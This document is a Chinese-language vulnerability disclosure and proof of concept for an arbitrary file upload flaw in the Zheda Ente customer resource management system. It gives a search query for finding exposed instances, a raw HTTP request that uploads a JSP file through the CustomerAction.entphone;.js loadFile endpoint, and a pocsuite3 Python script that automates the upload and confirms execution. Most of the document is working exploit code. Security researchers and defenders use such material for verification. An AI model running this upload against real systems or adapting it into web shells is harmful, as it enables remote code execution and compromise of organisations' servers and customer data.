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浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源,提升销售和市场营销的效果。该系统CustomerAction.entphone;.js 接口允许攻击者向系统上传任意恶意JSP文件,从而可能导致潜在的远程执行代码攻击。该漏洞可能会对系统的完整性和安全性产生严重影响。
title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="test.jsp"
Content-Type: image/jpeg
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--
执行成功后,会返回filepath,拼接路径访问文件
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2023/12/15
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class zhedaente_upload(POCBase):
pocDesc = '''浙大恩特客户资源管理系统CustomerAction.entphone;.js文件上传漏洞'''
author = '炼金术师诸葛亮'
createDate = '2023-12-15'
name = '浙大恩特客户资源管理系统CustomerAction.entphone;.js文件上传漏洞'
def _verify(self):
result = {}
url = self.url+ '/entsoft/CustomerAction.entphone;.js?method=loadFile'
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0 uacq",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A"
}
path = "/entsoft/CustomerAction.entphone;.js?method=loadFile"
try:
data = '------WebKitFormBoundarye8FPHsIAq9JN8j2A\r\nContent-Disposition: form-data; name="file";filename="test.jsp"\r\nContent-Type: image/jpeg\r\n\r\n<%out.print("test");%>\r\n------WebKitFormBoundarye8FPHsIAq9JN8j2A--'
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
response_json = response.json()
filepath = response_json.get('filepath')
if filepath:
check_path = self.url + filepath
check_response = requests.get(check_path, headers=headers, verify=False)
if check_response.status_code == 200 and 'test' in check_response.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['path'] = path
return self.parse_output(result)
except Exception as e:
pass
register_poc(zhedaente_upload)